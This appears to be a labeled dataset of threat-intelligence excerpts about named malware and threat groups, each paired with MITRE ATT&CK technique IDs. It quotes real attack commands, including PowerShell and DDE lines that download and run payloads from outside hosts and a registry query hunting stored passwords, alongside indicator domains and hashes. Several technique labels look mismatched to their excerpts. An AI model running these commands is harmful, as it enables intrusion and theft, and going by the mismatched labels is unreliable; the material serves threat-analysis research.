QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -Whidden $e=(New-ObjectSystem.Net.webClient).downloadString('hxxp://92.114.92[.]102:80/d');powershell -enc $e #     The unused command above appears to be related to previous attacks, specifically attacks that occurred in November 2017 as discussed by McAfee and ESET
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1546.013: Event Triggered Execution - PowerShell Profile
Threat description: Then, it will launch Dec.exe using PowerShell with the command “ cmd.exe /c powershell - WindowStyle Hidden Start-Process Dec.exe - WindowStyle maximized ”.
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1546.013: Event Triggered Execution - PowerShell Profile
Threat description: The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1546.013: Event Triggered Execution - PowerShell Profile
Threat description: Next, the script triggered a PowerShell stager
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1546.013: Event Triggered Execution - PowerShell Profile
Threat description: Following successful infiltration, the malware persists through registry: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run The command line execution leads to PowerShell code executed from a different registry value .
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1546.013: Event Triggered Execution - PowerShell Profile
Threat description: PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C& Cs.
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1546.013: Event Triggered Execution - PowerShell Profile
Threat description: The script is used to decode and execute the following payloads:Appach01.jpg (renamed: Windows-KB275122-x86.exe) is a Freenki sample.Appach01.jpg (renamed: Windows-KB271854-x86.exe) is a PoohMilk sample.PoohMilk AnalysisThe PoohMilk sample is designed to perform two actions:Create persistence to execute the Freenki sample at the next reboot.Check specific files on the infected machine.The first action is to create a registry key in order to execute the Windows-KB275122-x86.exe file previously downloaded
MITRE ATT&CK techniques:
- T1106: Native API
Threat description: Additionally we see a cmd.exe process launched and used for process injection using the VirtualAlloc(), WriteProcessMemory() and CreateRemoteThread() Windows APIs, as with the first finding of ROKRAT they continue to use similar Windows APIs
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
Threat description: "Figure 6 Example of delivery document The RTF document (8cf3bc2bf…) was very small in size at 264 bytes, which can be seen in its entirety here:       {\rtf1{\field{\*\fldinst DDEAUTO ""C:\\\\WIndowS\\\\SYsTem32\\\\cMD.eXe "" ""/C
MITRE ATT&CK techniques:
Threat description: Figure 1 Article referenced by decoy document in attack against British government agency   The attached document leverages a DDE exploit to ultimately execute the following code:c:\\windows\\system32\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe')Palo Alto Networks first witnessed this DDE exploit technique in May 2017, and attackers continue to leverage it
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
Threat description: Figure 15: Structure used to send data to server    Figure 16: Structure used to send data to C2 server The structure is converted to Base64 using the CryptBinaryToStringA function
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
Threat description: It then uses WebDAV to upload to a Box cloud drive.
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
Threat description: An example of this decompressed configuration may be seen below:  Figure 2 Decompressed Reaver configuration This configuration contains multiple pieces of information, including the following:  Network port Sleep timer between network requests Remote Command and Control (C2) Service Name Service Description Service Display Name Hardcoded String
MITRE ATT&CK techniques:
- T1569.002: System Services - Service Execution
Threat description: Much like the original payload, this tool uses if/else statements to skip the legitimate code in the Saransh Email System source to run the malicious functions, which have the same method names as the original tool and follow the same call sequence:  Form1.Speed Form1.diomadnfagaghagh Form1.fjcsERIfjfiojsGHIsdifjksi Form1.gsgjIDJIGJIGJIGJIFDOSpl Form1.FJaioefgkaoeK  This chain of functions eventually loads a resource named ‘GSrdofjksrgj’, which the tool decrypts using the same algorithm and key as in the initial payload:byte[] array4 = new byte[] {     19,     129,     43,     37,     56,     65,     255,     75,     111,     19,     211,     120,     0,     49,     126,     248 };The decrypted payload has a SHA256 hash of 5e805a88294f6d25d55103d19d13e798e01ad70e6b89e9c58db5d468cc63b3d5, which is a variant of the NanoCore remote administration tool
MITRE ATT&CK techniques:
- T1569.002: System Services - Service Execution
Threat description: The files we recovered indicate they do it by executing a script file, which uses the Sysinternals  psexec tool to move laterally by trying to copy it to every machine they can reach:
MITRE ATT&CK techniques:
- T1569.002: System Services - Service Execution
Threat description: The following capabilities have been observed in this payload:  Get drive information Modify files Modify directories Modify registry Spawn process Terminate process Modify services Kill self   Ties to SunOrcal Reaver was used concurrently with SunOrcal over the past year, to include two Reaver samples dropped from zip files hosted on a domain also being used as a SunOrcal C2 (www.fyoutside[.]com), and there is also passive DNS overlap amongst the C2s
MITRE ATT&CK techniques:
- T1112: Modify Registry
Threat description: Hard Disk Check The Trojan will perform the following WMI query:   Select * from Win32_DiskDrive   The Trojan will check the Caption and Model fields in the results for the strings Virtual, VMWare, VM, VBox or Oracle
MITRE ATT&CK techniques:
- T1497.001: Virtualization/Sandbox Evasion - System Checks
- T1497: Virtualization/Sandbox Evasion
Threat description: Motherboard Check The Trojan will perform the following WMI query:   Select * from Win32_BaseBoard   The Trojan will check the Manufacturer and Product fields in the results for the strings VMware, Virtual, VBox, VM or Oracle
MITRE ATT&CK techniques:
- T1497.001: Virtualization/Sandbox Evasion - System Checks
- T1497: Virtualization/Sandbox Evasion
Threat description: ShellTea utilizes a number of techniques to identify if it is running within a virtual environment or is being monitored.
MITRE ATT&CK techniques:
- T1497.001: Virtualization/Sandbox Evasion - System Checks
- T1497: Virtualization/Sandbox Evasion
Threat description: High resolution screenshots of specified process windows and when recording VoiceIP application audio
MITRE ATT&CK techniques:
- T1123: Audio Capture
Threat description: To ensure its victim will use IE, it will terminate any process in-focus that is Chrome or Firefox, in hopes the victim will believe the browsers are “malfunctioning.” Whenever a victim uses IE and browses to specific Brazilian banks or businesses, the malware will only then begin to log keystrokes
MITRE ATT&CK techniques:
- T1552.001: Unsecured Credentials - Credentials In Files
Threat description: At the same time, Enc.exe will start the encryption routine and append “. jcry ” as file extension to the encrypted file.
MITRE ATT&CK techniques:
- T1486: Data Encrypted for Impact
Threat description: They apparently create a Domain Admin account  named SQLSVC and give it the password Br4pbr4p (which also happens to be the password salt preconfigured in the dirtycow exploit script) and then leverage that account to perform a series of commands.
MITRE ATT&CK techniques:
- T1136: Create Account
Threat description: The decrypted shellcode is dropped as a Microsoft Word plugin WLL  into C:\Users\ADMINI~1\AppData\Roaming\Microsoft\Word\STARTUP.
MITRE ATT&CK techniques:
- T1137: Office Application Startup
Threat description: The wormDll32 module attempts to identify servers and domain controllers in the network using NetServerEnum and LDAP queries.
MITRE ATT&CK techniques:
- T1482: Domain Trust Discovery
Threat description: This module searches the infected system’s files to gather email addresses for information-stealing purposes.
MITRE ATT&CK techniques:
- T1114: Email Collection
Threat description: A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file.
MITRE ATT&CK techniques:
- T1025: Data from Removable Media
Threat description: reg query HKCU /f password /t REG_SZ /s
MITRE ATT&CK techniques:
- T1552.002: Unsecured Credentials - Credentials in Registry
Threat description: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager
MITRE ATT&CK techniques:
- T1546.009: Event Triggered Execution - AppCert DLLs
Threat description: !ProcessList List running processes, including their PID, parent PID, executable name and priority   !SendFileToServer Uploads a specified file to the C2 server   !CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server
MITRE ATT&CK techniques:
- T1057: Process Discovery
- T1105: Ingress Tool Transfer
Threat description: (Source: Dell SecureWorks) Appendix C — OwaAuth web shell analysis OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1505.003: Server Software Component - Web Shell
Threat description: (Source: Dell SecureWorks)  ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1505.003: Server Software Component - Web Shell
Threat description: (Source: Dell SecureWorks) Table 4 lists the OwaAuth web shell commands available to the adversary
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1505.003: Server Software Component - Web Shell
Threat description: (Source: Dell SecureWorks)   The following tools appear to be exclusive to TG-3390:  OwaAuth web shell — A web shell and credential stealer deployed to Microsoft Exchange servers
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1505.003: Server Software Component - Web Shell
Threat description: (Source: SecureWorks)  NetWire logs keystrokes and peripheral inputs into encoded files in the C:\Users\<username>   Figure 3
MITRE ATT&CK techniques:
- T1056: Input Capture
- T1033: System Owner/User Discovery
Threat description: (Source: SecureWorks)  The “Windows Folder.exe” executable spawns and injects code into the legitimate notepad.exe Windows process (see Figure 2)
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1055: Process Injection
Threat description: 0x007CFABF  video  Desktop video recording    0x06E533C4  download  Downloads executable and injects into new process    0x00684509  ammyy  Ammyy Admin tool    0x07C6A8A5  update  Updates self    0x0B22A5A7     Add/Update klgconfig (analysis incomplete)    0x0B77F949  httpproxy  Starts HTTP proxy    0x07203363  killos  Renders computer unbootable by wiping the MBR    0x078B9664  reboot  Reboots the operating system    0x07BC54BC  tunnel  Creates a network tunnel    0x07B40571  adminka  Adds new C2 server or proxy address for pseudo-HTTP protocol    0x079C9CC2  server  Adds new C2 server for custom binary protocol    0x0007C9C2  user  Creates or deletes Windows user account    0x000078B0  rdp  Enables concurrent RDP (analysis incomplete)    0x079BAC85  secure  Adds Notification Package (analysis incomplete)    0x00006ABC  del  Deletes file or service    0x0A89AF94  startcmd  Adds command to the configuration file (see the Configuration section)    0x079C53BD  runmem  Downloads executable and injects directly into new process    0x0F4C3903  logonpasswords  Send Windows accounts details to the C2 server    0x0BC205E4  screenshot  Takes a screenshot of the desktop and sends it to the C2 server    0x007A2BC0  sleep  Backdoor sleeps until specified date    0x0006BC6C  dupl  Unknown    0x04ACAFC3     Upload files to the C2 server    0x00007D43  vnc  Runs VNC plugin    0x09C4D055  runfile  Runs specified executable file    0x02032914  killbot  Uninstalls backdoor    0x08069613  listprocess  Returns list of running processes to the C2 server    0x073BE023  plugins  Change C2 protocol used by plugins    0x0B0603B4     Download and execute shellcode from specified address    0x0B079F93  killprocess  Terminates the first process found specified by name    0x00006A34  cmd  Initiates a reverse shell to the C2 server    0x09C573C7  runplug  Plugin control    0x08CB69DE  autorun  Updates backdoor    Table 2: Supported Commands Configuration A configuration file resides in a file under the backdoor’s installation directory with the .bin extension
MITRE ATT&CK techniques:
- T1008: Fallback Channels
- T1105: Ingress Tool Transfer
- T1041: Exfiltration Over C2 Channel
Threat description: 13 14 ams_api64.dll ams_api32.dll Handy wrapper around API of exXX.dll, pdXX.dll, sgXX.dll
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1574.002: Hijack Execution Flow - DLL Side-Loading
- T1574.001: Hijack Execution Flow - DLL Search Order Hijacking
Threat description: 2.     The macro decodes the dropped files using Windows certutil.exe (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows).    3.     The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) (esentutil.exe is also a legitimate program that is pre-installed in Windows). The dropped files include the following:  GUP.exe : GUP, a free (LGPL) Generic Updater. GUP is an open source binary used by Notepad++ for software updates
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1106: Native API
- T1036: Masquerading
- T1010: Application Window Discovery
Threat description: 22 Keylogging and exfiltrating data The exfiltrated data is base64 that decodes into more custom encoded strings that appear to be “/” delimited
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
- T1140: Deobfuscate/Decode Files or Information
Threat description: 37 38 zlib64.dll zlib32.dll Open source “zlib” version 1.2.3 used by libpngXX.dll for compressing screenshots (ssXX.dll)
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 59 60 61 62 freeimage_32.dll freeimageplus_32.dll freeimage_64.dll freeimageplus_64.dll FreeImage open source library supports popular graphics image formats (ver 3.15.4 2012-10-27) (http://freeimage.sourceforge.net)
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1574.001: Hijack Execution Flow - DLL Search Order Hijacking
Threat description: 68271df868f462c06e24a896a9494225,Office Monkeys LOL Video.zip Believe it or not, recipients in bulk run the file within: 95b3ec0a4e539efaa1faa3d4e25d51de,Office Monkeys (Short Flash Movie).exe This file in turn drops two executables to %temp%: 2aabd78ef11926d7b562fd0d91e68ad3, Monkeys.exe 3d3363598f87c78826c859077606e514, player.exe It first launches Monkeys.exe, playing a self-contained, very funny video of white-collar tie wearing chimpanzees working in a high rise office with a human colleague
MITRE ATT&CK techniques:
- T1125: Video Capture
- T1036: Masquerading
Threat description: Additional Features The Zyklon malware offers the following additional capabilities (via plugins): Browser Password Recovery Zyklon HTTP can recover passwords from popular web browsers, including:  Google Chrome Mozilla Firefox Internet Explorer Opera Browser Chrome Canary/SXS CoolNovo Browser Apple Safari Flock Browser SeaMonkey Browser SRWare Iron Browser Comodo Dragon Browser  FTP Password Recovery Zyklon currently supports FTP password recovery from the following FTP applications:  FileZilla SmartFTP FlashFXP FTPCommander Dreamweaver WS_FTP  Gaming Software Key Recovery Zyklon can recover PC Gaming software keys from the following games:  Battlefield Call of Duty FIFA NFS Age of Empires Quake The Sims Half-Life IGI Star Wars  Email Password Recovery Zyklon may also collect email passwords from following applications:  Microsoft Outlook Express Microsoft Outlook 2002/XP/2003/2007/2010/2013 Mozilla Thunderbird Windows Live Mail 2012 IncrediMail, Foxmail v6.x - v7.x Windows Live Messenger MSN Messenger Google Talk GMail Notifier PaltalkScene IM Pidgin (Formerly Gaim) Messenger Miranda Messenger Windows Credential Manager  License Key Recovery The malware automatically detects and decrypts the license/serial keys of more than 200 popular pieces of software, including Office, SQL Server, Adobe, and Nero
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
- T1552.001: Unsecured Credentials - Credentials In Files
Threat description: Additional mitigations that could help to prevent attacks like these from succeeding in your environment include:  Changing the default handler for “.hta” files in your environment so that they cannot be directly executed.hta” files in your environment so that they cannot be directly executed
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
- T1070.004: Indicator Removal - File Deletion
Threat description: After decrypting and decompressing the strings, we can trivially identify aspects of the PlugX configuration
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
- T1140: Deobfuscate/Decode Files or Information
Threat description: Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/  folder
MITRE ATT&CK techniques:
- T1564.001: Hide Artifacts - Hidden Files and Directories
- T1543.001: Create or Modify System Process - Launch Agent
Threat description: After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
- T1105: Ingress Tool Transfer
Threat description: All of the backdoors identified - excluding RoyalDNS - required APT15 to create batch scripts in order to install its persistence mechanism
MITRE ATT&CK techniques:
- T1064: Scripting
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: All of these files reside in the victim’s %TEMP% directory:    Filename Description   9PT568.dat Contains victim unique identifier   TPX498.dat Keystroke logs   edg499.dat List of interesting files   TPX499.dat Temporarily holds screenshot when given command by C2   up Temporarily contains downloaded file to be executed when given command by C2      Other changes we noticed in this variant include how the malware obfuscates C2 information stored via dead drop resolvers
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1041: Exfiltration Over C2 Channel
Threat description: Amongst the downloaded files,  the fake .gif and .jpg files appear to be dependencies for the malware
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
- T1083: File and Directory Discovery
Threat description: A much more advanced and highly obfuscated Javascript script was utilized in White Atlas samples that dropped a Firefox extension backdoor developed by Turla, but again the script was responsible for the simple tasks of writing out the extension.json configuration file for the extension and deleting itself for cleanup purposes
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
- T1064: Scripting
- T1070.004: Indicator Removal - File Deletion
Threat description: Any information gathered from the endpoint is first stored in the following file, encrypted, and sent to the control server:  C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server:  Directory listing of the user’s Desktop folder using command:  cmd.exe /c dir C:\DOCUME~1\<username>\Desktop\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Directory listing of the user’s recently accessed files using command:  cmd.exe /c dir C:\DOCUME~1\<username>\Recent >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Directory listing of the system’s %programfiles% folder using command:  cmd.exe /c dir C:\PROGRA~1\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Systeminfo of the endpoint using command:  cmd.exe /c systeminfo >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Copies the file ixe000.bin from:  C:\Documents and Settings\<username>\Application Data\Microsoft\Windows\UserProfiles\ixe000.bin To: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp  Registry key and value information for the current user’s Run key (with information collected):  HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Number of subkeys (<KeyIndex>) <KeyName> Number of Values under each key including the parent Run key (<ValueIndex>) <Value_Name> <Value_Content>  Registry Run key enumeration by Gold Dragon
MITRE ATT&CK techniques:
- T1486: Data Encrypted for Impact
- T1033: System Owner/User Discovery
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: Apart for its backdoor routines, this malware can steal information through keylogging, audio recording, and screen capture
MITRE ATT&CK techniques:
- T1123: Audio Capture
- T1113: Screen Capture
Threat description: A shortcut file is generated in the following path:  %TEMP%\~Update.lnk  This ‘~Update.lnk’ file is then copied to a filename of ‘Windows help.lnk’, which is placed in the startup path previously identified
MITRE ATT&CK techniques:
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
- T1036: Masquerading
Threat description: As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name
MITRE ATT&CK techniques:
- T1082: System Information Discovery
- T1083: File and Directory Discovery
Threat description: Assuming the victim opens the attachment, the infection process begins as described in the following section.Many of the distribution servers that are being used to host the HawkEye keylogger binaries that are retrieved during the infection process are hosting large numbers of malicious binaries and, in many cases, contain open directory listings that can be used to identify the scope of the infections that they are being used to facilitate
MITRE ATT&CK techniques:
- T1056: Input Capture
- T1057: Process Discovery
Threat description: A string with the 5-character length and encoded with BASE64 is added to the beginning of the buffer encoded using the BASE64 algorithm
MITRE ATT&CK techniques:
- T1132: Data Encoding
- T1027: Obfuscated Files or Information
Threat description: Attack Flow and Exfiltration After injecting into the targeted processes, the modules continue their malicious activity through those processes
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1057: Process Discovery
Threat description: AutoFocus customers may learn more from the DarkHydrus tag  IOC Related SHA256 Hashes Payloads cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1 ac7f9c536153780ccbec949f23b86f3d16e3105a5f14bb667df752aa815b0dc4 a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88 d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda dd2625388bb2d2b02b6c10d4ee78f68a918b25ddd712a0862bcf92fa64284ffa b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81 c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3 ce84b3c7986e6a48ca3171e703e7083e769e9ced1bbdd7edf8f3eab7ce20fd00 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c Delivery documents d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318 8063c3f134f4413b793dfc05f035b6480aa1636996e8ac4b94646292a5f87fde 9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49 cf9b2b40ac621aaf3241ff570bd7a238f6402102c29e4fbba3c5ce0cb8bc25f9 0a3d5b2a8ed60e0d96d5f0d9d6e00cd6ab882863afbb951f10c395a3d991fbc1 0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82 870c8b29be2b596cc2e33045ec48c80251e668abd736cef9c5449df16cf2d3b8 ff0b59f23630f4a854448b82f1f0cd66bc4b1124a3f49f0aecaca28309673cb0 01fd7992aa71f4dca3a3766c438fbabe9aea78ca5812ab75b5371b48bd2625e2 6dcb3492a45a08127f9816a1b9e195de2bb7e0731c4e7168392d0e8068adae7a 47b8ad55b66cdcd78d972d6df5338b2e32c91af0a666531baf1621d2786e7870 776c056096f0e73898723c0807269bc299ae3bbd8e9542f0a1cbba0fd3470cb4 cf7863e023475d695c6f72c471d314b8b1781c6e9087ff4d70118b30205da5f0 e88045931b9d99511ce71cc94f2e3d1159581e5eb26d4e05146749e1620dc678 26e641a9149ff86759c317b57229f59ac48c5968846813cafb3c4e87c774e245 b5cfaac25d87a6e8ebabc918facce491788863f120371c9d00009d78b6a8c350 ad3fd1571277c7ce93dfbd58cee3b3bec84eeaf6bb29a279ecb6a656028f771c Related Domains maccaffe[.]com cisc0[.]net 0utl00k[.]net msdncss[.]com 0ffice[.]com 0ffiice[.]com micrrosoft[.]net anyconnect[.]stream bigip[.]stream  fortiweb[.]download  kaspersky[.]science  microtik[.]stream  owa365[.]bid  symanteclive[.]download  windowsdefender[.]win allexa[.]net kaspersky[.]host hotmai1[.]com 0utlook[.]bid
MITRE ATT&CK techniques:
- T1087: Account Discovery
Threat description: Backdoor.Remexi, one of the malware in use by Chafer, had the following  command and control host: 87pqxz159.dockerjsbin[.]com Interestingly, IP address  83.142.230.138, which serve as a command and control address for an OilRig related sample (3a5fcba80c1fd685c4b5085d9d474118), was pointed to by 87pqxz159.dockerjsbin[.]com as well
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1102: Web Service
Threat description: The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary: Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 Control Server Communications. The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data.
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
- T1132: Data Encoding
- T1036: Masquerading
Threat description: Based on the McAfee Advanced Threat Research team’s analysis, we find multiple components from this operation are unique from a code perspective, even though the code is loosely based on previous versions of the SYSCON backdoor
MITRE ATT&CK techniques:
- T1027.001: Obfuscated Files or Information - Binary Padding
- T1140: Deobfuscate/Decode Files or Information
Threat description: By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1057: Process Discovery
Threat description: C2 Command   Purpose    reboot  Reboot the system using shutdown command    shutdown  Shut down the system using shutdown command    clean  Wipe the Drives, C:\, D:\, E:\, F:\    screenshot  Take a screenshot of the System    upload  Encrypt and upload the information from the system    excel  Leverage Excel.Application COM object for code execution    outlook  Leverage Outlook.Application COM object for code execution    risk  Leverage DCOM object for code execution   Conclusion This activity shows us that TEMP.Zagros stays up-to-date with the latest code execution and persistence mechanism techniques, and that they can quickly leverage these techniques to update their malware
MITRE ATT&CK techniques:
- T1106: Native API
- T1113: Screen Capture
- T1053.005: Scheduled Task/Job - Scheduled Task
- T1082: System Information Discovery
- T1140: Deobfuscate/Decode Files or Information
Threat description: ChromeUpdate.exe starts the file with “rundll32 cache.dll,ADB_Setup” Cache.dll analysis  Cache.dll was written in C/C++ and built with a Microsoft compiler
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1218.011: System Binary Proxy Execution - Rundll32
Threat description: Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more
MITRE ATT&CK techniques:
- T1115: Clipboard Data
- T1070: Indicator Removal
- T1070.004: Indicator Removal - File Deletion
Threat description: Command_Keylog_offline:  Load into memory a dll that contains the function “PluginMe”.  After researching and analyzing additional Gh0stRAT samples while trying to figure out what dll contains “PluginMe”, I found a DLL for keylogging (called Keylog.dll) in a Gh0stRAT 2.0 sample that exported “PluginMe”.  Using that and a cross-comparison of another Gh0stRAT sample that I’ve previously analyzed, I was able to determine that “PluginMe” is a offline keyboard manager
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1218.011: System Binary Proxy Execution - Rundll32
- T1574.001: Hijack Execution Flow - DLL Search Order Hijacking
- T1056: Input Capture
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: Command_Update_Server:  This command passes the string “Gh0st Update” to the malware sample before running the sample again.  When the sample restarts, it detects the “Gh0st Update” command line arg, and connects to the server in order to update the sample.  Command_Clean_Event:  This command locates and deletes all of the event logs on the system
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1070: Indicator Removal
- T1102: Web Service
- T1070.004: Indicator Removal - File Deletion
Threat description: Command   Description    0x31  Fingerprint System via WMI and Registry    0x32  Drop File and execute    0x33  Remote Shell    0x34  Terminate connection with C2    0x35  Download and run batch script    0x36  Download file on machine    0x37  Upload File    Table 2: FELIXROOT backdoor commands Figure 9 shows the log message decrypted from memory using the same mechanism shown in Figure 6 and Figure 7 for every command executed
MITRE ATT&CK techniques:
- T1064: Scripting
- T1105: Ingress Tool Transfer
Threat description: Command  Description  Action  0  Server response string contains batch commands  Execute batch commands and send results back to server  1  Server response string is a file path  Check for file path and upload (PUT) the file to server  2  Server response string is a file path  Check for file path and download (GET) the file   Table 1: POWRUNER commands After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution
MITRE ATT&CK techniques:
- T1070.006: Indicator Removal - Timestomp
- T1105: Ingress Tool Transfer
- T1041: Exfiltration Over C2 Channel
Threat description: Command Functionality   Init Create a reverse shell   Write Write a file to the compromised system from the C2 server   List List the files in a directory   Upload Upload a file from the compromised system to the C2 server    Table 2
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
- T1041: Exfiltration Over C2 Channel
Threat description: Command IDDescription     0Uninstall Keydnap and quit   1Update the backdoor from a base64-encoded file   2Update the backdoor given a URL   3Decode and execute a base64-encoded file   4Decode and execute a base64-encoded Python script   5Download and execute a file from a URL   6Download and execute a Python script from a URL   7Execute a command and report the output back to the C&C server   8Request administrator privileges the next time the user runs an application   9Decode and execute, or stop, a base64-encoded file calledauthd_service    The last two commands stand out
MITRE ATT&CK techniques:
- T1132: Data Encoding
- T1140: Deobfuscate/Decode Files or Information
- T1569.002: System Services - Service Execution
Threat description: Comnie will make requests to these URLs, looking for base64-encoded data after an identifier of ‘magnet:/’, as seen in the example below: Figure 14 GitHub storing Comnie C2 information In the example above, the C2 information is being stored within the user’s URL parameter within GitHub
MITRE ATT&CK techniques:
- T1102: Web Service
- T1041: Exfiltration Over C2 Channel
Threat description: Create processes Write responses from the control server to a file Send information for all drives Write data sent by the control server to a temporary file matching the file path pattern %temp%\DWS00* Change the time of a file as specified by the control server  The malware changing the file time
MITRE ATT&CK techniques:
- T1074: Data Staged
- T1070.006: Indicator Removal - Timestomp
- T1041: Exfiltration Over C2 Channel
Threat description: cUpdateCheckers.bat is launched and creates a scheduled task for GoogleUpdateschecker.vbs persistence
MITRE ATT&CK techniques:
- T1064: Scripting
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: Cyber analysts are encouraged to review the information provided in this alert to detect signs of malicious network activity.Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
- T1018: Remote System Discovery
Threat description: Decrypted Config: C&C IP: 192.168.0.107 Port: 80 Sleep Timer: 30000 Campaign Identifier: Mirage If you look at it the decrypted configuration, you may notice that the IP being used for the C&C is an internal IP address
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1140: Deobfuscate/Decode Files or Information
Threat description: Deletes the registry key HKCU\Software\Classes\Applications\rundll32.exe\shell\open Deletes the dropper components from the system
MITRE ATT&CK techniques:
- T1112: Modify Registry
- T1070.004: Indicator Removal - File Deletion
Threat description: Different colors show the three dropped modules: legit app (blue), launcher (green), and decompressor with the Trojan embedded (red) The initial module drops three files that are typical for Chinese-speaking actors: a legit Symantec pcAnywhere (IntgStat.exe) for DLL side loading, a .dll launcher (pcalocalresloader.dll) and the last-stage decompressor (thumb.db)
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: Downloading stylesheets allows for emended JavaScript and VBS to be run from within them, at which point any type of malware could be staged and run quite easily
MITRE ATT&CK techniques:
- T1064: Scripting
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
